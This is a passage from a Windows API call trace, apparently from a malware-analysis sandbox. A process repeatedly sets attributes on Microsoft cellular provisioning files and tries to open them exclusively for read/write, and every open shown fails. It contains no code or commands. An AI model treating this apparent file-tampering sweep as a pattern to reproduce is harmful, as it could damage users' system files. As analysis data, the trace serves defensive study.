(lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\548__Connections_Cellular_Orange (Côte d’Ivoire)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\548__connections_cellular_orange (côte d’ivoire)_i3$(__mvid)@wap.provxml")) returned 0x20 [0181.852] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\548__Connections_Cellular_Orange (Côte d’Ivoire)_i3$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.852] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\548__Connections_Cellular_Orange (Côte d’Ivoire)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\548__connections_cellular_orange (côte d’ivoire)_i3$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.852] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\548__Connections_Cellular_Orange (Côte d’Ivoire)_i3$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.852] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f023a8) returned 1 [0181.852] RtlExitUserThread (Status=0x0) Thread: id = 3148 os_tid = 0x106c [0181.853] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\549__Connections_Cellular_Orange (Kenya)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\549__connections_cellular_orange (kenya)_i0$(__mvid)@wap.provxml")) returned 0x20 [0181.853] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\549__Connections_Cellular_Orange (Kenya)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.855] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\549__Connections_Cellular_Orange (Kenya)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\549__connections_cellular_orange (kenya)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.855] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\549__Connections_Cellular_Orange (Kenya)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.855] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30564a8) returned 1 [0181.855] RtlExitUserThread (Status=0x0) Thread: id = 3149 os_tid = 0x1070 [0181.860] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\54__Connections_Cellular_CTBC (Brazil)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\54__connections_cellular_ctbc (brazil)_i0$(__mvid)@wap.provxml")) returned 0x20 [0181.860] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\54__Connections_Cellular_CTBC (Brazil)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.861] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\54__Connections_Cellular_CTBC (Brazil)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\54__connections_cellular_ctbc (brazil)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.861] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\54__Connections_Cellular_CTBC (Brazil)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.861] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3056738) returned 1 [0181.861] RtlExitUserThread (Status=0x0) Thread: id = 3150 os_tid = 0x1074 [0181.862] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\550__Connections_Cellular_Orange (Madagascar)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\550__connections_cellular_orange (madagascar)_i0$(__mvid)@wap.provxml")) returned 0x20 [0181.862] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\550__Connections_Cellular_Orange (Madagascar)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.862] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\550__Connections_Cellular_Orange (Madagascar)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\550__connections_cellular_orange (madagascar)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.862] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\550__Connections_Cellular_Orange (Madagascar)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.862] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f02250) returned 1 [0181.862] RtlExitUserThread (Status=0x0) Thread: id = 3151 os_tid = 0x1078 [0181.863] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\551__Connections_Cellular_Orange (Mali)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\551__connections_cellular_orange (mali)_i0$(__mvid)@wap.provxml")) returned 0x20 [0181.864] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\551__Connections_Cellular_Orange (Mali)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.864] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\551__Connections_Cellular_Orange (Mali)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\551__connections_cellular_orange (mali)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.864] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\551__Connections_Cellular_Orange (Mali)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.864] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3056c58) returned 1 [0181.864] RtlExitUserThread (Status=0x0) Thread: id = 3152 os_tid = 0x107c [0181.865] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\552__Connections_Cellular_Orange (Mali)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\552__connections_cellular_orange (mali)_i1$(__mvid)@wap.provxml")) returned 0x20 [0181.865] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\552__Connections_Cellular_Orange (Mali)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.865] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\552__Connections_Cellular_Orange (Mali)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\552__connections_cellular_orange (mali)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.866] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\552__Connections_Cellular_Orange (Mali)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.866] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3056880) returned 1 [0181.866] RtlExitUserThread (Status=0x0) Thread: id = 3153 os_tid = 0x1080 [0181.867] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\553__Connections_Cellular_Orange (Mauritius)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\553__connections_cellular_orange (mauritius)_i0$(__mvid)@wap.provxml")) returned 0x20 [0181.867] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\553__Connections_Cellular_Orange (Mauritius)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.867] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\553__Connections_Cellular_Orange (Mauritius)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\553__connections_cellular_orange (mauritius)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.867] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\553__Connections_Cellular_Orange (Mauritius)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.867] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f033c8) returned 1 [0181.867] RtlExitUserThread (Status=0x0) Thread: id = 3154 os_tid = 0x1084 [0181.868] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\554__Connections_Cellular_Meditel (Morocco)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\554__connections_cellular_meditel (morocco)_i0$(__mvid)@wap.provxml")) returned 0x20 [0181.869] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\554__Connections_Cellular_Meditel (Morocco)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.869] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\554__Connections_Cellular_Meditel (Morocco)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\554__connections_cellular_meditel (morocco)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.869] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\554__Connections_Cellular_Meditel (Morocco)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.869] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f02e68) returned 1 [0181.869] RtlExitUserThread (Status=0x0) Thread: id = 3155 os_tid = 0x1088 [0181.870] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\555__Connections_Cellular_Orange (Niger)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\555__connections_cellular_orange (niger)_i0$(__mvid)@wap.provxml")) returned 0x20 [0181.870] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\555__Connections_Cellular_Orange (Niger)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.870] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\555__Connections_Cellular_Orange (Niger)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\555__connections_cellular_orange (niger)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.870] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\555__Connections_Cellular_Orange (Niger)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.870] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3057030) returned 1 [0181.870] RtlExitUserThread (Status=0x0) Thread: id = 3156 os_tid = 0x108c [0181.871] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\556__Connections_Cellular_CCT (Democratic Republic of the Congo)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\556__connections_cellular_cct (democratic republic of the congo)_i0$(__mvid)@wap.provxml")) returned 0x20 [0181.872] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\556__Connections_Cellular_CCT (Democratic Republic of the Congo)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.872] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\556__Connections_Cellular_CCT (Democratic Republic of the Congo)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\556__connections_cellular_cct (democratic republic of the congo)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.872] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\556__Connections_Cellular_CCT (Democratic Republic of the Congo)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.873] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faae40) returned 1 [0181.873] RtlExitUserThread (Status=0x0) Thread: id = 3157 os_tid = 0x1090 [0181.874] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\557__Connections_Cellular_Orange (Senegal)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\557__connections_cellular_orange (senegal)_i0$(__mvid)@wap.provxml")) returned 0x20 [0181.874] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\557__Connections_Cellular_Orange (Senegal)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.874] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\557__Connections_Cellular_Orange (Senegal)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\557__connections_cellular_orange (senegal)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.874] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\557__Connections_Cellular_Orange (Senegal)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.874] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f01790) returned 1 [0181.874] RtlExitUserThread (Status=0x0) Thread: id = 3158 os_tid = 0x1094 [0181.875] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\558__Connections_Cellular_Orange (Senegal)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\558__connections_cellular_orange (senegal)_i1$(__mvid)@wap.provxml")) returned 0x20 [0181.875] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\558__Connections_Cellular_Orange (Senegal)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.876] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\558__Connections_Cellular_Orange (Senegal)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\558__connections_cellular_orange (senegal)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.876] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\558__Connections_Cellular_Orange (Senegal)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.876] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f03520) returned 1 [0181.876] RtlExitUserThread (Status=0x0) Thread: id = 3159 os_tid = 0x1098 [0181.877] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\559__Connections_Cellular_Orange (Tunisia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\559__connections_cellular_orange (tunisia)_i0$(__mvid)@wap.provxml")) returned 0x20 [0181.877] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\559__Connections_Cellular_Orange (Tunisia)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.877] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\559__Connections_Cellular_Orange (Tunisia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\559__connections_cellular_orange (tunisia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.877] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\559__Connections_Cellular_Orange (Tunisia)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.877] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f02658) returned 1 [0181.877] RtlExitUserThread (Status=0x0) Thread: id = 3160 os_tid = 0x109c [0181.878] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\55__Connections_Cellular_Oi (Brazil)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\55__connections_cellular_oi (brazil)_i0$(__mvid)@wap.provxml")) returned 0x20 [0181.879] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\55__Connections_Cellular_Oi (Brazil)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.879] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\55__Connections_Cellular_Oi (Brazil)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\55__connections_cellular_oi (brazil)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.879] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\55__Connections_Cellular_Oi (Brazil)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.879] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6ab60) returned 1 [0181.879] RtlExitUserThread (Status=0x0) Thread: id = 3161 os_tid = 0x10a0 [0181.889] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\560__Connections_Cellular_Orange (Tunisia)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\560__connections_cellular_orange (tunisia)_i1$(__mvid)@wap.provxml")) returned 0x20 [0181.891] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\560__Connections_Cellular_Orange (Tunisia)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.891] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\560__Connections_Cellular_Orange (Tunisia)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\560__connections_cellular_orange (tunisia)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.891] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\560__Connections_Cellular_Orange (Tunisia)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.891] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f02908) returned 1 [0181.891] RtlExitUserThread (Status=0x0) Thread: id = 3162 os_tid = 0x10a4 [0181.893] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\561__Connections_Cellular_Orange (Tunisia)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\561__connections_cellular_orange (tunisia)_i2$(__mvid)@wap.provxml")) returned 0x20 [0181.893] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\561__Connections_Cellular_Orange (Tunisia)_i2$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.893] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\561__Connections_Cellular_Orange (Tunisia)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\561__connections_cellular_orange (tunisia)_i2$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, 